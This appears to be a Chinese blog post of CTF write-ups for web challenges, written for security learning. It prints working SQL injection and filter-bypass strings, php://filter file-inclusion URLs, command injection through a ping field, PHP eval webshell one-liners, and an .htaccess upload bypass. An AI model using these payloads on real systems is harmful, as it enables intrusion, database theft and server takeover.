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[极客大挑战 2019]EasySQL

这是一道sq 注入题 ，有用户登录界面，根据之前做sqli_labs的经验，先尝试admin账户。
嗯…不出意料

https://blog.csdn.net/yqdid
https://so.csdn.net/so/search/s.do?q=%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/yqdid/article/details/106045036


然后我在用户名输入框内尝试sq注入：admin’ or 1=1#
页面无回显，但是没有报错

接着 我试了试order by 语句
发现有报错：

仔细一看 ，发现 报错语句中有“and password=‘admin’ at line 1”;
（直觉 ）然后我在密码一栏进行注入 ： admin' or 1=1 #

由于是恒真语句，所以成功绕过，直接拿到了flag：



[极客大挑战 2019]LoveSQL

又是一道SQL注入题



1、首先判断注入类型，当我用恒真语句 1' or 1=1 #测试时，发现可以绕过直接登录 ，并且得到了用户名和密码

2、经测试注入类型为单引号字符型注入，使用order by语句 查询字段数
1' order by 4#

3、使用union 联合查询查看回显点位,可知回显点位为2,3。
1' union select 1,2,3#

4、查询当前数据库名 1' union select 1,2,database()#



得到数据库名为“geek”

5、查询表名： 1' union select 1,2,group_concat(table_name) from information_schema.tables where

table_schema=database()#

得到两个表名:geekuser 和 l0ve1ysq1

6、挨着来爆字段名 先试试l0ve1ysq1表： 1' union select 1,2,group_concat(column_name) from

information_schema.columns where table_name='l0ve1ysq1'#

得到 id username password

7、爆具体数据 1' union select 1,2,group_concat(concat_ws("~",username,password)) from geek.l0ve1ysq1#



发现了flag 但是不好复制，于是查看源码 得到flag：

[极客大挑战 2019]Secret File

1、直接先查看源码，发现了可用信息

2、想直接进入action.php ，但是页面直接跳转了end.php 页面action.php 看不到，这里面肯定有东西



3、于是想到启动burpsuite 抓包 ，看到了
action.php页面的内容

出现了提示 secr3t.php



4、进入secr3t.php查看

根据注释 直接进入flag.php ，但是却看不到 ，查看源码也没有flag

根据提示flag确实是在这里，但是前端却看不到，猜测flag是写在了后端php代码里面

5、重新返回secr3t.php再看，发现这里有一个文件包含漏洞，传入的file经过了一些过滤，但是没有过滤filter
看到其他博主都用到了php://filter 来获取文件
那首先去了解一下 php://filter文件包含漏洞相关知识



php://filter是一种元封装器， 设计用于数据流打开时的筛选过滤应用。
对于那些一体式的文件函数有用,比如readfile,file().CTF中很常见的就是file_get_contents(),file_put_contents(),include()
例如：

网址+/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
首先这是一个file关键字的get参数传递，
php://是一种协议名称，php://filter/是一种访问本地文件的协议，
/read=convert.base64-encode/表示读取的方式是base64编码后，
resource=index.php表示目标文件为index.php。

构造URL：/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

这里的flag.php 用了base64加密 ，于是复制到在线解密工具（比如站长工具）里去解密就可以拿到flag



[极客大挑战 2019]Knife

如题 还真是白给的shell 简单
连接菜刀 直接获取shell

发现flag文件 打开直接得到flag



[ACTF2020 新生赛]Exec 1

根据命令的用法，command1&command2 先执行命令2后执行命令1，于是可以利用这点查询想要的信息。

1.ping一个127.0.0.1&ls/ 可以查看目录

2. 发现flag ，用 cat命令查看 cat /flag



[极客大挑战 2019]PHP

自己不会反序列化，看大佬的wphttps://segmentfault.com/a/1190000022534926

[ACTF2020 新生赛]Include

1.可以考虑 php://input 伪协议 ，然后用POST发送PHP代码，把需要执行的内容放到post中
具体原理看这里文件包含漏洞的详解 
但是这题过滤了

2.PHP伪协议利用来读取网站源码 ： ?file=php://filter/read=convert.base64-encode/resource=flag.php

https://segmentfault.com/a/1190000022534926
https://blog.csdn.net/qq_38348692/article/details/100797842


这样就能得到base64编码后的flag.php源码而不执行PHP文件:
解码后可以得到flag

[极客大挑战 2019]BabySQL1



首先查询注入点，随便注释一下没想到就登陆绕过了。但是这没什么用。。

尝试 admin' order by 1#

发现order 只剩下了 der 过滤了or??

再经过尝试

发现过滤了 or union select from information



采用双写绕过。

爆数据库 password=admin' uniunionon selselectect 1,2,group_concat(schema_name) frfromom

infoorrmation_schema.schemata #

爆表

?username=admin&password=admin' uniunionon selselectect 1,2,group_concat(table_name) frfromom

infoorrmation_schema.tables whwhereere table_schema=database()#

爆表b4bsql中的数据

?username=admin&password=admin' and uniunionon selselectect 1,2,group_concat(column_name) frfromom

infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'#



爆字段内容

?username=admin&password=admin' and uniunionon selselectect 1,2,group_concat(concat_ws("~",

username,passwoorrd)) frfromom b4bsql#

在网页看不全flag 查看源码之后就可以看到了：

[极客大挑战 2019]Upload

1.先尝试上传包含一句话木马 内容的图片
<?php @eval($_POST['aaa']); ?>

发现“<?”被过滤了

2.用js脚本绕过：

<script language = 'php'>@eval($_POST[aaa]);</script>



但是上传时会验证是否是图片

3.用burpsuite抓包改包 添加文件头绕过再修改文件类型为可读取的php类型

这里过滤了php5/php3/php/php4 未过滤的是phtml

4.上传后连接菜刀，获取shell

5.在根目录下找到flag



6、将flag下载到本地 改后缀txt直接打开就可以看到了

[MRCTF2020]你传你�呢

和上面一道题都是文件上传类型的

1.先试试上传一句话木马的php文件，发现过滤了php文件

依次尝试php/php3/php/5/phtml 发现都被过滤了

2，改后缀上传jpg文件就成功了

3.可以先上传一个**.htaccess** 文件，用来把jpg文件解析成php文件，接下来再上传jpg文件就可以直接当成php文件解析了
.htaccess 文件代码为：

AddType application/x-httpd-php .jpg

直接上传.htaccess 会上传失败
所以改用burpsuite 抓包改包，将Content-Type 内容改成 image/jpeg 即可



4.接下来上传包含一句话木马内容并且后缀为.jpg的文件

5.连接菜刀，获取shell 在根目录下可以看到flag

2020-10-18
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